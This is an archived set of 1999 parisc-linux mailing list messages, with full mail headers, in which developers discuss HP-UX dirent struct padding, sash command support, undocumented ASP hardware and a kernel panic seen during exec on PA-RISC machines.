  by mailserv2.iuinc.com with SMTP; 4 Nov 1999 01:24:42 -0000
Original-Received: from sophia.localdomain (mg130-035.ricochet.net [204.179.130.35])
	by rgate.ricochet.net (8.9.3/8.9.3) with ESMTP id TAA05350
	for <parisc-linux@thepuffingroup.com>; Wed, 3 Nov 1999 19:24:38 -0600 (CST)
Original-Received: from localhost (kvajk@localhost)
	by sophia.localdomain (8.9.3/8.9.3) with ESMTP id RAA26072
	for <parisc-linux@thepuffingroup.com>; Wed, 3 Nov 1999 17:29:30 -0800
In-Reply-To: <Pine.LNX.4.10.9911031645490.25873-100000@sophia.localdomain>
Xref: news.gmane.org gmane.linux.ports.parisc:6297



OK, here we go:

   struct __dirent {
      uint64_t __d_off;                 /* "magic cookie" */
      _T_INO_T __d_ino;                 /* file number of entry */
      short    __d_reclen;              /* length of this record */
      short    __d_namlen;              /* length of string in d_name */
      char     __d_name[_MAXNAMLEN + 1];/* name must be no longer than this */
   };

Note that sizeof(_T_INO_T) varies depending on your system's bit-ness,
so this is really two structure definitions.

The d_off structure member is an offset for that directory entry.  I
don't know if anybody in user-space ever uses it; I doubt it.

- Kevin Vajk
  <kvajk@ricochet.net>



From - Thu Nov 08 21:11:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] getdents
Date: Thu, 4 Nov 1999 02:39:26 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <19991104023926.H25252@mencheca.ch.genedata.com>
References: <19991103031152.F25252@mencheca.ch.genedata.com> <Pine.LNX.4.10.9911031645490.25873-100000@sophia.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618598 27394 80.91.229.3 (22 Nov 2014 01:09:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:58 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Kevin Vajk <kvajk@ricochet.net>
Original-X-From: Matthew.Wilcox@genedata.com  Wed Nov  3 18:37:45 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA20769
	for <parisc-linux@puffin.external.hp.com>; Wed, 3 Nov 1999 18:37:45 -0700
Original-Received: (qmail 32643 invoked by uid 15267); 4 Nov 1999 01:39:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32635 invoked from network); 4 Nov 1999 01:39:00 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 4 Nov 1999 01:39:00 -0000
Original-Received: from relay.core.genedata.com (nila-e0.core.genedata.com [157.161.173.44])
	by mail.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dA41cnD02527;
	Thu, 4 Nov 1999 02:38:49 +0100
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by relay.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dA41ckX18936;
	Thu, 4 Nov 1999 02:38:46 +0100
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id CAA552210;
	Thu, 4 Nov 1999 02:38:45 +0100 (CET)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11jBs6-00028LC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for kvajk@ricochet.net; Thu, 4 Nov 1999 02:39:26 +0100 (CET) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <Pine.LNX.4.10.9911031645490.25873-100000@sophia.localdomain>; from Kevin Vajk on Wed, Nov 03, 1999 at 05:12:57PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6298

On Wed, Nov 03, 1999 at 05:12:57PM -0800, Kevin Vajk wrote:
> 
> On Wed, 3 Nov 1999, Matthew Wilcox wrote:
> 
> > struct hpux_dirent {
> > 	ino_t	d_ino;
> > 	short	d_reclen;
> > 	short	d_namlen;
> > 	char	d_name[1];
> > };
> 
> Shouldn't that be d_name[256]?

It's OK, that's only used as an offset to tell the kernel where to put the
string.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:11:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] getdents
Date: Thu, 4 Nov 1999 02:43:07 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <19991104024307.I25252@mencheca.ch.genedata.com>
References: <Pine.LNX.4.10.9911031645490.25873-100000@sophia.localdomain> <Pine.LNX.4.10.9911031724290.26045-100000@sophia.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618598 27397 80.91.229.3 (22 Nov 2014 01:09:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:58 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Kevin Vajk <kvajk@ricochet.net>
Original-X-From: Matthew.Wilcox@genedata.com  Wed Nov  3 18:41:18 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA20920
	for <parisc-linux@puffin.external.hp.com>; Wed, 3 Nov 1999 18:41:18 -0700
Original-Received: (qmail 1039 invoked by uid 15267); 4 Nov 1999 01:42:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1031 invoked from network); 4 Nov 1999 01:42:34 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 4 Nov 1999 01:42:34 -0000
Original-Received: from relay.core.genedata.com (nila-e0.core.genedata.com [157.161.173.44])
	by mail.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dA41gSq02549;
	Thu, 4 Nov 1999 02:42:29 +0100
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by relay.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dA41gQk18943;
	Thu, 4 Nov 1999 02:42:26 +0100
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id CAA552331;
	Thu, 4 Nov 1999 02:42:25 +0100 (CET)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11jBvf-00028LC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for kvajk@ricochet.net; Thu, 4 Nov 1999 02:43:07 +0100 (CET) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <Pine.LNX.4.10.9911031724290.26045-100000@sophia.localdomain>; from Kevin Vajk on Wed, Nov 03, 1999 at 05:29:30PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6299

On Wed, Nov 03, 1999 at 05:29:30PM -0800, Kevin Vajk wrote:
> 
> 
> OK, here we go:
> 
>    struct __dirent {
>       uint64_t __d_off;                 /* "magic cookie" */
>       _T_INO_T __d_ino;                 /* file number of entry */
>       short    __d_reclen;              /* length of this record */
>       short    __d_namlen;              /* length of string in d_name */
>       char     __d_name[_MAXNAMLEN + 1];/* name must be no longer than this */
>    };
> 
> Note that sizeof(_T_INO_T) varies depending on your system's bit-ness,
> so this is really two structure definitions.
> 
> The d_off structure member is an offset for that directory entry.  I
> don't know if anybody in user-space ever uses it; I doubt it.

I've done the following:

struct hpux_dirent {
	long	d_off_pad; /* we only have a 32-bit off_t */
	long	d_off;
	ino_t	d_ino;
	short	d_reclen;
	short	d_namlen;
	char	d_name[1];
};

I think that's the right way round to put the padding for a big-endian
machine.  Yes, I know it ought to be done properly, but we don't have
a put_user() that will cope with an 8-byte quantity yet.  Any volunteers?

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:11:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] getdents
Date: Wed, 03 Nov 1999 21:52:06 -0800
Lines: 45
Approved: news@gmane.org
Message-ID: <199911040552.VAA11478@milano.cup.hp.com>
References: <19991104024307.I25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618598 27405 80.91.229.3 (22 Nov 2014 01:09:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:58 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: grundler@cup.hp.com  Wed Nov  3 22:49:59 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA21704
	for <parisc-linux@puffin.external.hp.com>; Wed, 3 Nov 1999 22:49:58 -0700
Original-Received: (qmail 29318 invoked by uid 15267); 4 Nov 1999 05:51:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29311 invoked from network); 4 Nov 1999 05:51:11 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 4 Nov 1999 05:51:11 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by palrel1.hp.com (Postfix) with ESMTP
	id 56F152C0; Wed,  3 Nov 1999 21:51:10 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id VAA11478; Wed, 3 Nov 1999 21:52:06 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 04 Nov 1999 02:43:07 PST."
             <19991104024307.I25252@mencheca.ch.genedata.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6300

Matthew Wilcox wrote:
...
> I've done the following:
> 
> struct hpux_dirent {
> 	long	d_off_pad; /* we only have a 32-bit off_t */
> 	long	d_off;
> 	ino_t	d_ino;
> 	short	d_reclen;
> 	short	d_namlen;
> 	char	d_name[1];
> };
> 
> I think that's the right way round to put the padding for a big-endian
> machine.

Mathew,
Sorry, it doesn't look right to me.
I not sure the following is "right" either but "looks more right":

#ifdef __LP64__
	long d_off;
#else
	int d_off_pad;
	int d_off;
#endif

The problem is the offset for the d_off has to be different for
32-bit applications than it will be for 64-bit applications.
gcc has to behave the same way if we want binary compatibility.
In "wide-mode" HP-UX compiler uses 64-bit long/pointer and int
remains 32-bit.  Ergo the name "LP64".

devresource.hp.com has a "HP-UX 64-bit Porting and Transition Guide,
June 1998" in the Document library. It's an interesting reference on
HP-UX kernel interacts with 32/64-bit binaries and has some interesting
gotchas.

hope this helps,
grant

Grant Grundler
Unix Developement Lab
+1.408.447.7253


From - Thu Nov 08 21:11:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Congratulations, remarks and questions
Date: Thu, 4 Nov 1999 15:55:07 -0500 (EST)
Lines: 43
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9911041551480.14544-100000@vodka.thepuffingroup.com>
References: <19991103123044.18853.rocketmail@web507.yahoomail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618599 27413 80.91.229.3 (22 Nov 2014 01:09:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:59 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ulrich Strelow <ulrich_strelow@yahoo.com>
Original-X-From: adevries@thepuffingroup.com  Thu Nov  4 13:44:13 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA23888
	for <parisc-linux@puffin.external.hp.com>; Thu, 4 Nov 1999 13:44:13 -0700
Original-Received: (qmail 30740 invoked by uid 15267); 4 Nov 1999 20:45:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30730 invoked from network); 4 Nov 1999 20:45:30 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 4 Nov 1999 20:45:30 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.1])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id PAA14650;
	Thu, 4 Nov 1999 15:55:07 -0500
In-Reply-To: <19991103123044.18853.rocketmail@web507.yahoomail.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6301


In theory, most of these changes are, I think, already in the kernel tree
in CVS.

On Wed, 3 Nov 1999, Ulrich Strelow wrote:
> My first try was to build the kernel without
> specifying CONFIG_NETDEVICES=n. This leads to the
> following problem: the kernel stops booting with these
> messages:  
> 
> Starting lasi lan at 0xf0826000
> lasi_alloc_irq(0xc0127968): No LASI found in system
> yet
> IRQ not found for lasi lan at 0xf0826000
> Warning : device (10, 0xb, 0x0, 0x72, 0x0) NOT claimed
> by Lasi i82596(???) LAN 700 or similiar (old)

The problem here is that the i82596 expects to be connected to a Lasi, not
the ASP thing that's in a 715.  We have no docs on ASP, so we can't really
do anything about this until later.

> Now the questions: the kernel boots to the
> sash-prompt, but no keyboard input is possible
> (neither the HIL-keyboard, nor the keyboard from the
> serial terminal I was using). Is this because of the
> missing support for the ASP chip of the 715/33 ? 

This is because:
- right now no terminal we have supports a keyboard
- we don't have a HIL keyboard driver because of ASP

> Are
> all devices (HIL, SCSI and LAN) connected via that
> chip ? And finally: has HP found and published the
> docs of that chip so that someone is able to write the
> supporting routines ?

ASP support is something we might be able to get from openbsd or mklinux
source, I haven't checked.  It's on our list of documentation we want from
HP though.

- Alex


From - Thu Nov 08 21:11:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sash commands
Date: Fri, 5 Nov 1999 02:13:34 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <19991105021334.J25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618599 27421 80.91.229.3 (22 Nov 2014 01:09:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:59 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Thu Nov  4 18:11:35 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA25335
	for <parisc-linux@puffin.external.hp.com>; Thu, 4 Nov 1999 18:11:35 -0700
Original-Received: (qmail 29653 invoked by uid 15267); 5 Nov 1999 01:12:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29642 invoked from network); 5 Nov 1999 01:12:52 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 5 Nov 1999 01:12:52 -0000
Original-Received: from relay.core.genedata.com (nila-e0.core.genedata.com [157.161.173.44])
	by mail.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dA51CoH06380
	for <parisc-linux@thepuffingroup.com>; Fri, 5 Nov 1999 02:12:50 +0100
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by relay.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dA51Cnr20836
	for <parisc-linux@thepuffingroup.com>; Fri, 5 Nov 1999 02:12:49 +0100
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id CAA710076
	for <parisc-linux@thepuffingroup.com>; Fri, 5 Nov 1999 02:12:48 +0100 (CET)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11jXwd-00026uC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Fri, 5 Nov 1999 02:13:35 +0100 (CET) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:6302


I've had a busy evening implementing the hpux syscalls required to make
some of the sash commands work.  The following commands work:

cd
-chgrp
-chmod
-chown
help
-ls
-mkdir
-pwd
-touch
-where

-mount is known to not work.  I need to speak to prumpf about why this is.
-umount probably works, but without -mount, that's hard to test :-)
Ditto -sync.  Maybe some others work.  If there's any sash command you
particularly want to work which doesn't yet, drop me a mail.

many thanks to Grant for all his help this evening.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:11:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Okay, I give up.
Date: Thu, 4 Nov 1999 23:07:28 -0500 (EST)
Lines: 78
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9911042254060.16932-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618599 27430 80.91.229.3 (22 Nov 2014 01:09:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:59 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Thu Nov  4 20:56:27 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA25818
	for <parisc-linux@puffin.external.hp.com>; Thu, 4 Nov 1999 20:56:26 -0700
Original-Received: (qmail 8966 invoked by uid 15267); 5 Nov 1999 03:57:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8958 invoked from network); 5 Nov 1999 03:57:44 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 5 Nov 1999 03:57:44 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.1])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id XAA16997
	for <parisc-linux@thepuffingroup.com>; Thu, 4 Nov 1999 23:07:28 -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6303


How do I extract an sversion and hversion out of ioscan -F output?

For instance:

pa:wsio:F:F:F:0:0:0:ext_bus:c720:8/12:1 49 0 132 0 0 137 128 7 0 0 0 91 62 0 2 :0:root.ccio.c720:c720:CLAIMED:INTERFACE:GSC add-on Fast/Wide SCSI Interface:0

There doesn't seem to be a consistant way to parse it.

- Alex
-- 
Alex deVries <adevries@thepuffingroup.com>
Vice President Engineering
The Puffin Group

X-From-Line: pjlahaie@mailserv2.iuinc.com  Wed Mar  3 18:24:54 1999
Return-Path: <pjlahaie@mailserv2.iuinc.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id SAA01237
	for <pcj@merlin.pcj.primenet.com>; Wed, 3 Mar 1999 18:24:53 -0800
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 03 Mar 1999 18:24:54 PST
Received: from smtp02.primenet.com (daemon@smtp02.primenet.com [206.165.6.132])
	by primenet.com (8.8.8/8.8.5) with ESMTP id JAA16831
	for <pcj@smtp-local.primenet.com>; Wed, 3 Mar 1999 09:27:03 -0700 (MST)
Received: (from daemon@localhost)
	by smtp02.primenet.com (8.8.8/8.8.8) id JAA23712
	for <pcj@primenet.com>; Wed, 3 Mar 1999 09:28:04 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp02.primenet.com, id smtpd023685; Wed Mar  3 09:27:58 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id KAA20016;
	Wed, 3 Mar 1999 10:57:49 -0500
Resent-Date: Wed, 3 Mar 1999 10:57:49 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Sender: pjlahaie@mailserv2.iuinc.com
Message-ID: <36DD59B5.D5B03F97@atlsci.com>
Date: Wed, 03 Mar 1999 10:48:05 -0500
From: "Paul J.Y. Lahaie" <pjlahaie@atlsci.com>
Organization: Atlantis Scientific Inc.
X-Mailer: Mozilla 4.5 [en] (X11; I; Linux 2.2.2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: hppa-linux@thepuffingroup.com
Subject: Re: [hppa-linux] MkLinux to HP712/60
References: <36DD4C15.7EBDA332@hans.or.jp>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Resent-Message-ID: <"fUV_v3.0.cu4.zlLts"@sod.res.cmu.edu>
Resent-From: hppa-linux@thepuffingroup.com
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/138
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 011ab61dece84cae4cef2969a0f9145a
Lines: 16
Xref: merlin.pcj.primenet.com palinux:109

Takeshi Maruyama wrote:
> 
> Hello,
> 
> I installed MkLinux for PA-RISC  to my HP712/60.
> The console cannot be displayed with my HP712.
> Is the console displayed in your HP712?

     It works on my HP 712/60, but it's very slow.

								- Paul

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@debian.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] exec() problem
Date: Fri, 05 Nov 1999 19:55:49 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <199911060255.TAA24869@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618600 27440 80.91.229.3 (22 Nov 2014 01:10:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@debian.fc.hp.com  Fri Nov  5 19:54:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA29163
	for <parisc-linux@puffin.external.hp.com>; Fri, 5 Nov 1999 19:54:36 -0700
Original-Received: (qmail 30182 invoked by uid 15267); 6 Nov 1999 02:55:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30175 invoked from network); 6 Nov 1999 02:55:51 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 6 Nov 1999 02:55:51 -0000
Original-Received: from udlkern.fc.hp.com (root@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id TAA14986
	for <parisc-linux@thepuffingroup.com>; Fri, 5 Nov 1999 19:55:50 -0700 (MST)
Original-Received: from debian.fc.hp.com (root@debian.fc.hp.com [15.1.48.119]) by udlkern.fc.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id TAA14073 for <parisc-linux@thepuffingroup.com>; Fri, 5 Nov 1999 19:55:50 -0700 (MST)
Original-Received: from debian.fc.hp.com (bame@localhost [127.0.0.1])
	by debian.fc.hp.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id TAA24869
	for <parisc-linux@thepuffingroup.com>; Fri, 5 Nov 1999 19:55:49 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:6304


This is rumored to be a known problem.  Since I've seen it a lot recently
and am going on vacation, here's what I know in case it helps.  The problem
can manifest on one machine and not another with the same bits.  It can
come and go as the size of code in arch/parisc/kernel changes.  The
problem shows in the boot like this:

    Attempting to execute '/sbin/init'

    PSW  : 0004000b  GR 1 : c0128800  GR 2 : c0029390  GR 3 : 00000000
    GR 4 : 00000000  GR 5 : ffffffff  GR 6 : 00000000  GR 7 : c0092708
    GR 8 : c0fdba20  GR 9 : c00924c8  GR10 : 00000080  GR11 : 0000000a
    GR12 : 00000000  GR13 : 00000000  GR14 : 00000001  GR15 : c00927c8
    GR16 : c0100000  GR17 : c00292e0  GR18 : c0092720  GR19 : 00000000
    GR20 : c0128a00  GR21 : a0000024  GR22 : 00000000  GR23 : c012bc7c
    GR24 : c00927c8  GR25 : 00000000  GR26 : c0092708  GR27 : c008e000
    GR28 : 00000000  GR29 : 00000000  GR30 : c0092a00  GR31 : c0039914
    SR0  : 00000000  SR1  : 00000000  SR2  : 00000000  SR3  : 00000000
    SR4  : 00000000  SR5  : 00000000  SR6  : 00000000  SR7  : 00000000
    IAOQ : c0028e5c c0028e60

    bad address a000002c (code 15)
    Kernel panic: bad address

adb on the IAOQ address says:

    do_generic_file_read+16C:       LDW             8(r21),r19

which is consistent with the value in r21 (a0000024).  This is
inside a call which I believe is called eventually from do_execve()
called within init/main.c:init().  I didn't track down do_execve().

	-Paul Bame


From - Thu Nov 08 21:11:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Okay, I give up.
Date: Fri, 05 Nov 1999 23:27:11 -0800
Lines: 49
Approved: news@gmane.org
Message-ID: <199911060727.XAA15167@milano.cup.hp.com>
References: <Pine.LNX.4.10.9911042254060.16932-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618600 27443 80.91.229.3 (22 Nov 2014 01:10:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Sat Nov  6 00:24:50 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA29979
	for <parisc-linux@puffin.external.hp.com>; Sat, 6 Nov 1999 00:24:50 -0700
Original-Received: (qmail 16908 invoked by uid 15267); 6 Nov 1999 07:26:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16901 invoked from network); 6 Nov 1999 07:26:09 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 6 Nov 1999 07:26:09 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by palrel1.hp.com (Postfix) with ESMTP id E5DED25C
	for <parisc-linux@thepuffingroup.com>; Fri,  5 Nov 1999 23:26:08 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id XAA15167 for <parisc-linux@thepuffingroup.com>; Fri, 5 Nov 1999 23:27:11 -0800 (PST)
